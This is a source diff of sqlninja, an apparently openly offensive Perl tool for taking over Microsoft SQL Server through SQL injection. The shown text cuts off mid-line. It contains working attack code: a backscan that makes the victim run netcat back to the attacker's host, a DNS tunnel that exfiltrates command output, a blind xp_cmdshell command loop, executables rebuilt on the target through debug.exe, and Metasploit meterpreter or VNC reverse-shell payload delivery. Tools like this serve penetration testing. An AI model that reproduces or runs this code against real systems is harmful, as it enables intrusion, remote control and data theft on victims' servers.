to try (es. \"80 443-445\"): "; + $ports = ; + chomp($ports); + while (checkports($ports) != 0) { + print "You must specify ports with a netcat-like syntax\n"; + print "Check sqlninja-howto.html for more info\n"; + $ports = ; + chomp($ports); + } + # $ports =~ s/\s/+/g; + + # Get the protocol to use + my $proto; + while (($proto ne "tcp") and ($proto ne "udp")) { + print "tcp/udp [default: tcp]: "; + $proto = ; + chomp($proto); + if ($proto eq "") { + $proto = "tcp"; + } + } + + print ("[+] Starting ".$proto." backscan on host ".$host.".....\n"); + + # start a socket to listen for messages from children + my $ninjasock = genfile(); + unlink $ninjasock; + if ($verbose == 1) { + print " [v] Starting local UNIX socket\n"; + } + my $server = new IO::Socket::UNIX->new(Local => $ninjasock, + Type => SOCK_DGRAM, + Listen => 5) + || die "could not create UNIX socket\n"; + my $msg; # message from children + my $ok; # flag for successfully received packet + my @okports; # allowed ports from server + + if ($verbose == 1) { + print " [v] Starting sniffer process\n"; + } + # spawn sniffer + $snifferpid = fork(); + if ($snifferpid == -1) { + print "can't fork sniffer process !\n"; + unlink $ninjasock; + exit(1); + } + if ($snifferpid == 0) { + $server->close; + sniff($proto, $ninjasock); + exit (0); + } + if ($verbose == 1) { + print " [v] Starting web request process\n"; + } + # spawn the process for the web request + $requestpid = fork(); + if ($requestpid == -1) { + print "can't fork web request process !\n"; + kill TERM => $snifferpid; + unlink $ninjasock; + exit(1); + } + if ($requestpid == 0) { + $server->close; + backscanrequest($lhost,$ports,$proto,$ninjasock); + exit(0); + } + + # receive port numbers from the sniffer until the + # web requestor communicates it is done + if ($verbose == 1) { + print " [v] Recording successful ports\n"; + } + recordports($server,$ok,\@okports,"finished"); + + # spawn the timeout child, to wait for some more packets to + # arrive + if ($verbose == 1) { + print " [v] Web request finished... waiting for last packets\n"; + } + $timeoutpid = fork(); + if ($timeoutpid == -1) { + print "can't fork timeout child !\n"; + kill TERM => $snifferpid; + unlink $ninjasock; + exit(1); + } + if ($timeoutpid == 0) { + sleep($timeout); + my $s = IO::Socket::UNIX->new(Peer => $ninjasock, + Type => SOCK_DGRAM, + Timeout => 10); + $s->send("timeout"); + close $s; + exit(0); + } + + # receive port numbers from the sniffer until timeout + recordports($server,$ok,\@okports,"timeout"); + + print "[+] shutting down sniffer...\n"; + kill TERM => $snifferpid; + + unlink $ninjasock; + + if ($ok == 1) { + print "Now launch the Ninja in revshell mode and have fun!\n"; + } else { + print "Sorry... no packets received\n"; + } +} + +# Records the successful ports until interrupted by the other child +# Parameters: +# $_[0] = parent socket +# $_[1] = $ok +# $_[2] = \@okports +# $_[3] = exit string awaited from child +sub recordports +{ + my $msg; + while ($msg ne $_[3]) { + $_[0]->recv($msg,16,0); + if (($msg < 65535) and ($msg > 0)) { + $_[1] = 1; + if (${$_[2]}[$msg] == 0) { + printf "port ".$msg." ok !\n"; + ${$_[2]}[$msg] = 1; + } + } + } +} + +sub backscanrequest +{ + my $lhost = $_[0]; + my $ports = $_[1]; + my $proto = $_[2]; + my $ninjasock = $_[3]; + my $cmd; + my $command; + my $result; + if ($proto eq "udp") { + # we need to issue a command (e.g.: hostname.exe) for an + # UDP packet to be created... + $cmd = "\%TEMP\%\\nc -e hostname -u ".$lhost." ".$ports; + } else { + $cmd = "\%TEMP\%\\nc ".$lhost." ".$ports; + } + $command = createcommand($cmd); + $result = sendrequest($command); + my $s = IO::Socket::UNIX->new(Peer => $ninjasock, + Type => SOCK_DGRAM, + Timeout => 10); + $s->send("finished"); + close $s; +} + +# Anti script kiddies ;) +sub _ +{ +if ($0 !~ m/.*\/\x73\x71\x6c\x6e\x69\x6e\x6a\x61$/i) { + print"\x0a\x64\x75\x64\x65\x2c\x20\x74\x68\x65\x20\x66\x69\x6c\x65\x6e". + "\x61\x6d\x65\x20\x4d\x55\x53\x54\x20\x62\x65\x20\x22\x73\x71\x6c\x6e". + "\x69\x6e\x6a\x61\x22\x2e\x20\x55\x73\x65\x20\x74\x68\x65\x20\x70\x72". + "\x6f\x70\x65\x72\x20\x6e\x61\x6d\x65\x20\x61\x6e\x64\x20\x74\x72\x79". + "\x20\x61\x67\x61\x69\x6e\x0a\x0a";exit(0); + } +} + +# sniff the interface for backscan results +sub sniff { + my $filter; + my $proto = $_[0]; + my $ninjasock = $_[1]; + # TODO: filter host must be changed: NAT could mess up things + my $size = 1500; + my $tout = 3; + my $err; if ($verbose == 1) { - print " [v] Starting upload module\n"; - } - my $file = $_[0]; - if ($verbose == 1) { - print " [v] Deleting any previous instance of the file...\n"; - } - my @path = split(/\//,$file); - my $filename = pop(@path); - my @filearray = split(/\./,$filename); - my $cmd = "del \%TEMP\%\\".$filearray[0].".*"; - my $command = createcommand($cmd); - my $result = sendrequest($command); - - print "[+] Uploading ".$file." debug script............\n"; - open (FILE, $file) || die "can't open file ".$file.": $!"; - my $line; - my $countlines = 0; - # Count total lines in the file - my $totallines; - while ($line = ) { - $totallines++; + print " [v] Looking for sniffing device info\n"; } - close FILE; - - # Upload the whole script thing - open (FILE, $file); - # The first line is overridden. This is useful if the user creates - # custom debug scripts - $line = ; - $cmd = "echo n %TEMP%\\#temp# > \%TEMP\%\\".$filename; - $command = createcommand($cmd); - $result = sendrequest($command); - $countlines++; - - # Then we proceed normally... - while ($line = ) { - # goddamned \r's .... >:| - $line =~ s/\r//g; - chomp($line); - $cmd = "echo ".$line." >> \%TEMP\%\\".$filename; - $command = createcommand($cmd); - $result = sendrequest($command); - $countlines++; - print $countlines."/".$totallines." lines written \r"; + my ($address,$netmask); + if (Net::Pcap::lookupnet($dev,\$address,\$netmask,\$err)) { + die "Unable to look up device information for".$dev."\n"; } - print $totallines."/".$totallines." lines written \ndone !\n"; - close FILE; - - # Check that the exact number of lines was uploaded - # We count the lines and store the result in a temporary file, then - # we check the last token in that file - my $delay; - my $wrongscr = 0; - local $/=\1; - local $|=1; if ($verbose == 1) { - print "[v] Checking number of uploaded lines\n"; + print " [v] Initializing pcap object\n"; } - $cmd = "find /v /c \"zzzz\" %TEMP%\\".$filename." > %TEMP%\\lines.txt ". - "& find \" ".$totallines."\" %TEMP%\\lines.txt > nul ". - "& if not errorlevel = 1 ping -n ".$blindtime." 127.0.0.1 ". - "& del %TEMP%\\lines.txt"; - $command = createcommand($cmd); - $delay = tryblind($command); - if ($delay > ($blindtime-2)) { - if ($verbose == 1) { - print "[v] ".$filename." seems to have been ". - "properly uploaded\n"; - } + my $pcap = Net::Pcap::open_live($dev,$size,0,0,\$err); + unless (defined $pcap) { + die "Unable to create packet capture on ".$dev."\n". + "...are you sure you have r00t privileges ?"; + } + # Create filter string from conf file and protocol + my $filterstring; + if ($proto eq "udp") { + $filterstring = $filterconf." and udp"; } else { - $wrongscr = 1; - print "[-] ".$filename." seems not to have been uploaded". - " correctly.\n"; - print "[-] Checking whether it is there.... "; - $cmd = "if exist %TEMP%\\".$filename." (ping -n " - .$blindtime." 127.0.0.1)"; - $command = createcommand($cmd); - $delay = tryblind($command); - if ($delay < ($blindtime-2)) { - print "no. User has not write privileges?\n"; - exit(1); - } - print "yes.\n You want to count the uploaded lines? (y/n)"; - my $resp=""; - while (($resp ne "y") and ($resp ne "n")) { - print "\n> "; - $resp = ; - chomp($resp); - } - if ($resp eq "y") { - checkscrlines($filename,$totallines); - } - - print "[-] You want me to try to create an exe anyway?"; - $resp=""; - while (($resp ne "y") and ($resp ne "n")) { - print "\n> "; - $resp = ; - chomp($resp); - } - if ($resp eq "n") { - print "[-] Bye...\n"; - delscr($filename); - exit(1); - } + $filterstring = $filterconf." and tcp[tcpflags] & ". + "tcp-syn != 0 && ". + "tcp[tcpflags] & tcp-ack == 0"; } - - # Generate the binary file - print "[+] Converting script to executable... might take a while\n"; - $cmd = "debug < \%TEMP\%\\".$filename; - $command = createcommand($cmd); - $result = sendrequest($command); - - # Rename the binary - $cmd = "ren \%TEMP\%\\#TEMP# ".$filearray[0].".exe"; - $command=createcommand($cmd); - $result = sendrequest($command); - - delscr($filename); - - # We check whether the exe file is there.... - print "[+] Checking whether ".$filearray[0].".exe is there...\n"; - $cmd = "if exist %TEMP%\\".$filearray[0].".exe (ping -n ". - $blindtime." 127.0.0.1)"; - $command = createcommand($cmd); - $delay = tryblind($command); - if ($delay > ($blindtime - 2)) { - # If we are here, a exe is present.... - # Now let's check that its size is not zero (it can happen - # if debug.exe fails) - # File size can be token 3 or 4 depending on cmd.exe version - $cmd = "dir %TEMP%\\".$filearray[0].".exe | ". - "find \"".$filearray[0].".exe\" > %TEMP%\\xtst.txt & ". - "for /F \"tokens=3\" %i in (%TEMP%\\xtst.txt) do ". - "(if %i equ 0 ping -n ".$blindtime." 127.0.0.1) & ". - "for /F \"tokens=4\" %i in (%TEMP%\\xtst.txt) do ". - "(if %i equ 0 ping -n ".$blindtime." 127.0.0.1) & ". - "del %TEMP%\\xtst.txt"; - $command = createcommand($cmd); - $delay = tryblind($command); - if ($delay > ($blindtime-2)) { - # Empty exe - print "[-] ".$filearray[0].".exe seems to be there". - " but empty. ". - "Debug.exe has probably failed\n"; - } else { - # Non-empty exe - if ($wrongscr == 1) { - print "[-] ".$filearray[0].".exe seems to ". - "be there... can't be sure will work\n"; - } else { - print "[+] ".$filearray[0].".exe seems to ". - "be there... enjoy! :)\n"; - } - } - } else { - # If we get here, the exe is not there - if ($wrongscr == 1) { - print "[-] ".$filearray[0].".exe was not found ". - "(debug script corrupted)\n"; - } else { - print "[-] ".$filearray[0].".exe was not found ". - "(debug.exe not present?)\n"; - } + if ($verbose == 1) { + print " [v] Compiling packet capture filter: ".$filterstring."\n"; } - exit(0); -} + Net::Pcap::compile( + $pcap, + \$filter, + $filterstring, + 0, + $netmask + ) && die 'Unable to compile packet capture filter'; + Net::Pcap::setfilter($pcap, $filter) && + die 'Unable to set packet capture filter'; -# Delete the uploaded script file -sub delscr -{ - my $filename = $_[0]; + my $offset = linkoffset($pcap); + my $globref = [$offset,$ninjasock]; if ($verbose == 1) { - print "[v] Removing the original scr file\n"; + print " [v] Stripping ".$offset." bytes for datalink header\n"; + } + if ($proto eq "udp") { + Net::Pcap::loop($pcap,-1,\&dmpudp,$globref); + } else { + Net::Pcap::loop($pcap,-1,\&dmptcp,$globref); } - my $cmd = "del \%TEMP\%\\".$filename; - my $command=createcommand($cmd); - my $result = sendrequest($command); } -# Count the script uploaded lines -sub checkscrlines +# callback function for analyzing incoming tcp packets +sub dmptcp { - my $filename = $_[0]; - my $lines = $_[1]; - - print "[-] Counting uploaded lines... might take a bit\n"; - - # We start by getting the lines (again...) - my $cmd = "find /c /v \"zzzzz\" %TEMP%\\".$filename." > ". - "%TEMP%\\lines.txt"; - my $command=createcommand($cmd); - my $result = sendrequest($command); - - # Now we find the interval where that number is - my $min = 0; - my $max = 0; - my $candidate = $lines; - my $delay; - while ($max == 0) { - $delay=singlelinescheck($candidate); - if ($delay > ($blindtime - 2)) { - $max = $candidate; - } else { - $min = $candidate; - $candidate = $candidate*2; - } - } + my ($globref,$header,$packet) = @_; + my ($offset,$ninjasock) = @{$globref}; + my $ip_packet = substr($packet,$offset); + my $ip = NetPacket::IP->decode($ip_packet); + my $tcp = NetPacket::TCP->decode($ip->{'data'}); + my $port = $tcp->{'dest_port'}; + my $s = IO::Socket::UNIX->new(Peer => $ninjasock, + Type => SOCK_DGRAM, + Timeout => 10); + $s->send($port); + close $s; +} - # Now we know that the number is between $min and $max - if ($verbose == 1) { - local $/=\1; - local $|=1; - print "Trying... "; +# callback function for analyzing incoming udp packets +sub dmpudp +{ + my ($globref,$header,$packet) = @_; + my ($offset,$ninjasock) = @{$globref}; + my $ip_packet = substr($packet,$offset); + my $ip = NetPacket::IP->decode($ip_packet); + my $udp = NetPacket::UDP->decode($ip->{'data'}); + my $port = $udp->{'dest_port'}; + my $s = IO::Socket::UNIX->new(Peer => $ninjasock, + Type => SOCK_DGRAM, + Timeout => 10); + $s->send($port); + close $s; +} + +# Checks that ports indicated for backscan module respect the netcat syntax +# Return 0 if correct. 1 Otherwise +sub checkports() +{ + my $ports = $_[0]; + my @portarray; + my $p; + # Check that only digits, hyphens and whitespaces are entered + if ($ports !~ m/^[\d\-\s]+$/) { + return 1; } - while ($max != $min) { - $candidate = int(($max+$min)/2); - if ($verbose == 1) { - local $/=\1; - local $|=1; - print $candidate."... "; + @portarray = split(/ /,$ports); + foreach $p (@portarray) { + # Single port ? + if ($p =~ m/^(\d+)$/) { + if (($1 > 0) and ($1 < 65535)) { + next; + } else { + return 1; + } } - $delay = singlelinescheck($candidate); - if ($delay > ($blindtime-2)) { - $max = $candidate; - } else { - $min = $candidate+1; + # Port range ? + elsif ($p =~ m/^(\d+)-(\d+)$/) { + if (($1 > 0) and ($2 < 65535) and ($1 <= $2)) { + next; + } else { + return 1; + } } + # None of the above... wrong + return 1; + } - if ($verbose == 1) { - print "\n"; - } - print "[-] ".$max." lines were uploaded instead of ".$lines."\n"; - $cmd = "del %TEMP%\\lines.txt"; - my $command=createcommand($cmd); - my $result = sendrequest($command); - # TIMMEY !!!!!!!!!!!!!!!!!!!!! :) + return 0; } -# Performs a single check on the number of lines -sub singlelinescheck +# Generate a random filename to use for UNIX sockets +# A fixed filename causes problems when a spurious file was left +# from a previous execution that exited uncleanly and the file can't +# be unlink()-ed by the current user +sub genfile { - my $cmd = "for /F \"tokens=3\" %i in (%TEMP%\\lines.txt) do ". - "(if %i LEQ ".$_[0]." ping -n ".$blindtime." 127.0.0.1)"; - my $command = createcommand($cmd); - my $delay = tryblind($command); - return $delay; + my $rnd = int(rand()*65535); + my $filename = "/tmp/.ninjasocket_".$rnd; + return $filename; } -# Performs a tcp/udp backscan trying to find a hole in the firewall -# Creates 3 subprocesses: the first sniffs the interface, the second -# performs the request to the web server. The parent then waits for their -# messages and when the second process exits it spawns the third, which -# waits for the timeout specified in the conf file and then signals -# the father, which finally kills the children and exits -sub backscan +# Attempt to tunnelize command output in DNS queries +# URL-encode the command, then call dnssend() +# dnstunnel.exe must have been uploaded first +sub dnstunnel { + print "[+] Starting dnstunnel mode...\n"; if ($verbose == 1) { - print " [v] Starting backscan module\n"; - } - my $snifferpid; # the sniffer - my $requestpid; # the web requestor - my $timeoutpid; # the timeout after the web request exits - - # Get the ports to scan - my $ports; - print "Ports to try (es. \"80 443-445\"): "; - $ports = ; - chomp($ports); - while (checkports($ports) != 0) { - print "You must specify ports with a netcat-like syntax\n"; - print "Check sqlninja-howto.html for more info\n"; - $ports = ; - chomp($ports); + print " [v] Be sure you uploaded dnstunnel.exe already\n"; } - # $ports =~ s/\s/+/g; - - # Get the protocol to use - my $proto; - while (($proto ne "tcp") and ($proto ne "udp")) { - print "tcp/udp [default: tcp]: "; - $proto = ; - chomp($proto); - if ($proto eq "") { - $proto = "tcp"; + print "[+] Use \"exit\" to be dropped back to your shell.\n"; + my $cmd; + while (1) { + print "dnstunnel> "; + $cmd = ; + chomp($cmd); + if ($cmd eq "exit") { + print "Thank you for using sqlninja... see ya\n"; + exit(0); + } + if ($cmd ne "") { + dnssend($cmd); } } - - print ("[+] Starting ".$proto." backscan on host ".$host.".....\n"); +} - # start a socket to listen for messages from children - my $ninjasock = genfile(); +# Sends the command to dnstunnel.exe and waits for the results +sub dnssend +{ + my $cmd = $_[0]; + my $requestpid; # pid of the web request + my $decoderpid; # pid of the message decoder + my $dnspid; # pid of the fake DNS server + my $timeoutpid; # pid of the timeout process + unlink $dnssock; + + # Create the server socket that will receive messages from children + my $ninjasock; + $ninjasock=genfile(); unlink $ninjasock; if ($verbose == 1) { print " [v] Starting local UNIX socket\n"; } my $server = new IO::Socket::UNIX->new(Local => $ninjasock, - Type => SOCK_DGRAM, - Listen => 5) - || die "could not create UNIX socket\n"; - my $msg; # message from children - my $ok; # flag for successfully received packet - my @okports; # allowed ports from server - + Type => SOCK_DGRAM, + Listen=> 5) + || die "can't create UNIX socket: $!\n"; + my $msg; # message to the UNIX socket + + # spawn fake dns server if ($verbose == 1) { - print " [v] Starting sniffer process\n"; + print " [v] Starting dns server process\n"; } - # spawn sniffer - $snifferpid = fork(); - if ($snifferpid == -1) { - print "can't fork sniffer process !\n"; + $dnspid = fork(); + if ($dnspid == -1) { + print "can't fork dns server process\n"; + close $server; unlink $ninjasock; exit(1); } - if ($snifferpid == 0) { + if ($dnspid == 0) { $server->close; - sniff($proto, $ninjasock); - exit (0); + dnsserver(); + exit(0); } + # spawn decoder process if ($verbose == 1) { - print " [v] Starting web request process\n"; + print " [v] Starting decoder process\n"; + } + $decoderpid = fork(); + if ($decoderpid == -1) { + print "can't fork decoder process\n"; + close $server; + unlink $ninjasock; + unlink $dnssock; + exit(1); + } + if ($decoderpid == 0) { + $server->close; + decodedns($ninjasock); + exit(0); } # spawn the process for the web request + if ($verbose == 1) { + print " [v] Starting web request process\n"; + } $requestpid = fork(); if ($requestpid == -1) { - print "can't fork web request process !\n"; - kill TERM => $snifferpid; + print "can't fork web request process\n"; + close $server; unlink $ninjasock; + unlink $dnssock; exit(1); } if ($requestpid == 0) { $server->close; - backscanrequest($lhost,$ports,$proto,$ninjasock); + dnstunnelrequest($cmd); + my $s = IO::Socket::UNIX->new(Peer => $ninjasock, + Type => SOCK_DGRAM, + Timeout => 10); + $s->send("webdone"); + close $s; exit(0); } - # receive port numbers from the sniffer until the - # web requestor communicates it is done - if ($verbose == 1) { - print " [v] Recording successful ports\n"; + # Now wait for news.... + $server->recv($msg,16,0); + + # case 1: the decoder receives the full message and + # visualizes it. We kill the children and that's it + if ($msg eq "decoded") { + kill TERM => $requestpid; + kill TERM => $dnspid; + kill TERM => $decoderpid; + close $server; + unlink $ninjasock; + unlink $dnssock; + return; + } + + # case 2: the web request returns but the decoder hasn't + # finished receiving the messages yet + # Since there is no other case, if we don't receive + # "webdone" something is wrong + if ($msg ne "webdone") { + kill TERM => $dnspid; + kill TERM => $decoderpid; + close $server; + unlink $ninjasock; + unlink $dnssock; + print "Unexpected message: ".$msg.".... must be a bug\n"; + exit(1); } - recordports($server,$ok,\@okports,"finished"); - # spawn the timeout child, to wait for some more packets to - # arrive + # spawn the timeout child, to wait for some more packets + # to arrive if ($verbose == 1) { print " [v] Web request finished... waiting for last packets\n"; } $timeoutpid = fork(); if ($timeoutpid == -1) { - print "can't fork timeout child !\n"; - kill TERM => $snifferpid; - unlink $ninjasock; - exit(1); + print "can't fork timeout child !\n"; + kill TERM => $dnspid; + kill TERM => $decoderpid; + close $server; + unlink $ninjasock; + unlink $dnssock; + exit(1); } if ($timeoutpid == 0) { - sleep($timeout); + $server->close; + sleep(6); my $s = IO::Socket::UNIX->new(Peer => $ninjasock, - Type => SOCK_DGRAM, - Timeout => 10); + Type => SOCK_DGRAM, + Timeout => 10); $s->send("timeout"); close $s; exit(0); } + + # Wait for more news + $server->recv($msg,16,0); - # receive port numbers from the sniffer until timeout - recordports($server,$ok,\@okports,"timeout"); - - print "[+] shutting down sniffer...\n"; - kill TERM => $snifferpid; + # case 1 again... + if ($msg eq "decoded") { + kill TERM => $timeoutpid; + kill TERM => $dnspid; + kill TERM => $decoderpid; + close $server; + unlink $ninjasock; + unlink $dnssock; + return; + } + + # case 2 again... + if ($msg ne "timeout") { + kill TERM => $dnspid; + kill TERM => $decoderpid; + close $server; + unlink $ninjasock; + unlink $dnssock; + print "Unexpected message.... must be a bug\n"; + exit(1); + } + print "Some DNS packets seem to got lost.... try again\n"; + + kill TERM => $dnspid; + kill TERM => $decoderpid; + close $server; unlink $ninjasock; + unlink $dnssock; + return; +} - if ($ok == 1) { - print "Now launch the Ninja in revshell mode and have fun!\n"; - } else { - print "Sorry... no packets received\n"; +sub dnstunnelrequest +{ + my $cmd = "\%TEMP\%\\dnstun.exe ".$domain." ".$hostnamelen." ".$_[0]; + my $command = createcommand($cmd); + my $result = sendrequest($command); +} + +# Sniff dns requests and processes them +sub dnsserver +{ + my $ns = Net::DNS::Nameserver->new( + LocalAddr => "0.0.0.0", + LocalPort => 53, + ReplyHandler => \&reply_handler, + Verbose => 0 + ) || die "could't create nameserver object\n"; + $ns->main_loop; +} + +sub reply_handler +{ + my ($qname, $qclass, $qtype, $peerhost) = @_; + my ($rcode, @ans, @auth, @add); + if (($qtype ne "A") or ($qname !~ /$domain/)) { + return; } + my ($ttl,$rdata) = (0,$resolvedip); + push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata"); + $rcode = "NOERROR"; + my $s = IO::Socket::UNIX->new(Peer => $dnssock, + Type => SOCK_DGRAM, + Timeout => 20); + $s->send($qname); + close $s; + return ($rcode, \@ans, \@auth, \@add, {aa => 1}); } -# Records the successful ports until interrupted by the other child -# Parameters: -# $_[0] = parent socket -# $_[1] = $ok -# $_[2] = \@okports -# $_[3] = exit string awaited from child -sub recordports +# Receives the dns messages from the sniffing child +# and processes them +sub decodedns { - my $msg; - while ($msg ne $_[3]) { - $_[0]->recv($msg,16,0); - if (($msg < 65535) and ($msg > 0)) { - $_[1] = 1; - if (${$_[2]}[$msg] == 0) { - printf "port ".$msg." ok !\n"; - ${$_[2]}[$msg] = 1; + my $ninjasock = $_[0]; + my $msg; # message from the DNS daemon + my @msgarray; # holds all received messages + my $buffer = ""; # buffer to decode + my $lastbuffered = -1; # last message appended to buffer + my $number; # number of current message + my $lastreceived = 0; # boolean: last packet received ? + my $complete = 0; # boolean: all packets received ? + + my $chunklen; # length of chunk to decode + my $chunk; # chunk to decode + my $decoded; # decoded chunk` + my $n; + my $m; + + my $server = IO::Socket::UNIX->new(Local => $dnssock, + Type => SOCK_DGRAM, + Listen=> 10) + || die "can't create UNIX socket: $!\n"; + # Let's start listening ! :) + while ($complete == 0) { + $server->recv($msg,255,0); + # cut the domain and the dots.... + $msg =~ s/$domain//; + $msg =~ s/\.//g; + + # If there is a "9", it's the last message + # Check dnstunnel.c for encoding details + if ($msg =~ /9/) { + ($n,$m) = split(/9/,$msg); + $lastreceived = 1; + } else { + ($n,$m) = split(/8/,$msg); + } + + # Insert the received message in the array + $number=base32counterdecode($n); + $msgarray[$number]=$m; + # If the received message is exactly the same + # that we were waiting for, append it to the buffer, + # followed by other ones previously received in wrong + # order, if any + my $arraylen = @msgarray; + while (($msgarray[$number] ne "") and ($number<$arraylen)) { + if ($number == ($lastbuffered+1)) { + $buffer .= $msgarray[$number]; + $lastbuffered = $lastbuffered+1; + } + $number++; + } + + # decode what can be decoded in the buffer and print + $chunklen = (int(length($buffer)/8))*8; + $chunk = substr($buffer,0,$chunklen); + $buffer = substr($buffer,$chunklen); + $decoded = base32decode($chunk); + print $decoded; + + # Are we at the end ? + $complete=checkdnscomplete(\@msgarray,$lastreceived); + } + + $decoded = base32decode($buffer); + print $decoded; + my $s = IO::Socket::UNIX->new(Peer => $ninjasock, + Type => SOCK_DGRAM, + Timeout => 10) + || die "can't create UNIX socket: $!\n"; + $s->send("decoded"); + close $s; + exit(0); +} + +# Check whether all messages have been received +sub checkdnscomplete +{ + my @msgarray=@{$_[0]}; + if ($_[1] == 0) { + return 0; + } + my $number = @msgarray; + my $i; + my $complete = 1; + if ($_[1] == 1) { + for ($i=0;$i<$number;$i++) { + if ($msgarray[$i] eq '') { + $complete=0; } } } + return $complete; +} + +# decode a base32-encoded string +# Outrageously ripped from Convert-Base-32 by Tatsuhiko Miyagawa +sub base32decode +{ + my $encoded = $_[0]; + lc($encoded); # shouldn't be necessary... but just to be sure + my %char2bits = qw@ + a 00000 + b 00001 + c 00010 + d 00011 + e 00100 + f 00101 + g 00110 + h 00111 + i 01000 + j 01001 + k 01010 + l 01011 + m 01100 + n 01101 + o 01110 + p 01111 + q 10000 + r 10001 + s 10010 + t 10011 + u 10100 + v 10101 + w 10110 + x 10111 + y 11000 + z 11001 + 0 11010 + 1 11011 + 2 11100 + 3 11101 + 4 11110 + 5 11111 + @; + my $buffer = ''; + for my $pos (0..length($encoded)-1) { + $buffer .= $char2bits{substr($encoded,$pos,1)}; + } + return pack('B*',$buffer); +} + +# decode a base32-encoded counter +sub base32counterdecode +{ + my $encoded = $_[0]; + my %char2number = qw@ + a 0 + b 1 + c 2 + d 3 + e 4 + f 5 + g 6 + h 7 + i 8 + j 9 + k 10 + l 11 + m 12 + n 13 + o 14 + p 15 + q 16 + r 17 + s 18 + t 19 + u 20 + v 21 + w 22 + x 23 + y 24 + z 25 + 0 26 + 1 27 + 2 28 + 3 29 + 4 30 + 5 31 + @; + my $number; + my $i; + my $len = length($encoded); + for my $pos (0..$len-1) { + $i = $char2number{substr($encoded,$pos,1)}; + $number += $i*(32 ** ($len-1-$pos)); + } + return $number; } + -sub backscanrequest +# Launches "blind" commands using xp_cmdshell through the web application +sub sqlcmd { - my $lhost = $_[0]; - my $ports = $_[1]; - my $proto = $_[2]; - my $ninjasock = $_[3]; + print "[+] Starting blind command mode."; + print " Use \"exit\" to be dropped back to your shell.\n"; my $cmd; my $command; my $result; - if ($proto eq "udp") { - # we need to issue a command (e.g.: hostname.exe) for an - # UDP packet to be created... - $cmd = "\%TEMP\%\\nc -e hostname -u ".$lhost." ".$ports; - } else { - $cmd = "\%TEMP\%\\nc ".$lhost." ".$ports; + while (1) { + print "> "; + $cmd = ; + chomp($cmd); + if ($cmd eq "exit") { + print "Thank you for using sqlninja... see ya\n"; + exit(0); + } + if ($cmd ne "") { + $command = createcommand($cmd); + $result = sendrequest($command); + print "[+] Command has been sent and executed\n"; + } } - $command = createcommand($cmd); - $result = sendrequest($command); - my $s = IO::Socket::UNIX->new(Peer => $ninjasock, - Type => SOCK_DGRAM, - Timeout => 10); - $s->send("finished"); - close $s; -} - -# Anti script kiddies ;) -sub _ -{ -if ($0 !~ m/.*\/\x73\x71\x6c\x6e\x69\x6e\x6a\x61$/i) { - print"\x0a\x64\x75\x64\x65\x2c\x20\x74\x68\x65\x20\x66\x69\x6c\x65\x6e". - "\x61\x6d\x65\x20\x4d\x55\x53\x54\x20\x62\x65\x20\x22\x73\x71\x6c\x6e". - "\x69\x6e\x6a\x61\x22\x2e\x20\x55\x73\x65\x20\x74\x68\x65\x20\x70\x72". - "\x6f\x70\x65\x72\x20\x6e\x61\x6d\x65\x20\x61\x6e\x64\x20\x74\x72\x79". - "\x20\x61\x67\x61\x69\x6e\x0a\x0a";exit(0); - } } -# sniff the interface for backscan results -sub sniff -{ - my $filter; - my $proto = $_[0]; - my $ninjasock = $_[1]; - # TODO: filter host must be changed: NAT could mess up things - my $size = 1500; - my $tout = 3; - my $err; - if ($verbose == 1) { - print " [v] Looking for sniffing device info\n"; +# Use the metasploit framework to create a payload, upload it and execute it +# Of course, you need metasploit3 in your path +# And kudos to the whole Metasploit team +sub metasploit +{ + print "[+] Entering Metasploit module. In order to use this module ". + "you need to\n have found an available TCP port, either ". + "inbound or outbound\n"; + # We start checking whether Metasploit is there... + print "[+] Checking Metasploit3 availability....\n"; + my $msfcli = ""; + my $msfpayload = ""; + if ($msfpath eq "") { + my $path1 = $ENV{PATH}; + my @path = split(/:/,$path1); + foreach (@path) { + if (-e $_."/msfcli") { + $msfcli = $_."/msfcli"; + } elsif (-e $_."/msfcli3") { + $msfcli = $_."/msfcli3"; + } + if (-e $_."/msfpayload") { + $msfpayload = $_."/msfpayload"; + } elsif (-e $_."/msfpayload3") { + $msfpayload = $_."/msfpayload3"; + } + } + } else { + if (-e $msfpath."/msfcli") { + $msfcli = $msfpath."msfcli"; + } elsif (-e $msfpath."/msfcli3") { + $msfcli = $msfpath."msfcli3"; + } + if (-e $msfpath."/msfpayload") { + $msfpayload = $msfpath."msfpayload"; + } elsif (-e $msfpath."/msfpayload3") { + $msfpayload = $msfpath."msfpayload3"; + } + + } + if ($msfcli eq "") { + print "[-] msfcli not found\n"; + exit(-1); + } + if ($msfpayload eq "") { + print "[-] msfpayload not found\n"; + exit(-1); + } + + print "[+] Which payload you want to use?\n"; + print " 1: Meterpreter\n 2: VNC\n"; + my $payload; + while (($payload != 1) and ($payload != 2)) { + print "> "; + $payload = ; + chomp($payload); } - my ($address,$netmask); - if (Net::Pcap::lookupnet($dev,\$address,\$netmask,\$err)) { - die "Unable to look up device information for".$dev."\n"; + if ($payload == 1) { + $payload = "meterpreter"; + } else { + $payload = "vncinject"; } - if ($verbose == 1) { - print " [v] Initializing pcap object\n"; + print "[+] Which type of connection you want to use?\n"; + print " 1: bind_tcp\n 2: reverse_tcp\n"; + my $conn; + while (($conn ne "1") and ($conn ne "2")) { + print "> "; + $conn = ; + chomp($conn); } - my $pcap = Net::Pcap::open_live($dev,$size,0,0,\$err); - unless (defined $pcap) { - die "Unable to create packet capture on ".$dev."\n". - "...are you sure you have r00t privileges ?"; - } - # Create filter string from conf file and protocol - my $filterstring; - if ($proto eq "udp") { - $filterstring = $filterconf." and udp"; + if ($conn == 1) { + $conn = "bind_tcp"; } else { - $filterstring = $filterconf." and tcp[tcpflags] & ". - "tcp-syn != 0 && ". - "tcp[tcpflags] & tcp-ack == 0"; + $conn = "reverse_tcp"; } - if ($verbose == 1) { - print " [v] Compiling packet capture filter: ".$filterstring."\n"; + my $host2; + if ($conn eq "bind_tcp") { + print "[+] Enter remote host [".$host."]\n> "; + $host2 = ; + chomp $host2; + if ($host2 eq "") { + $host2 = $host; + } } - Net::Pcap::compile( - $pcap, - \$filter, - $filterstring, - 0, - $netmask - ) && die 'Unable to compile packet capture filter'; - Net::Pcap::setfilter($pcap, $filter) && - die 'Unable to set packet capture filter'; + if ($conn eq "bind_tcp") { + print "[+] Enter remote port number\n"; + } else { + print "[+] Enter local port number\n"; + } + my $port = 0; + while (($port < 1) or ($port > 65535)) { + print "> "; + $port = ; + chomp($port); + } + my $enc = -1; + print "[+] Choose a payload encoding method\n". + " 0 - none\n". + " 1 - Alpha2 Alphanumeric Mixedcase\n". + " 2 - Alpha2 Alphanumeric Uppercase\n". + " 3 - Avoid UTF8/tolower\n". + " 4 - 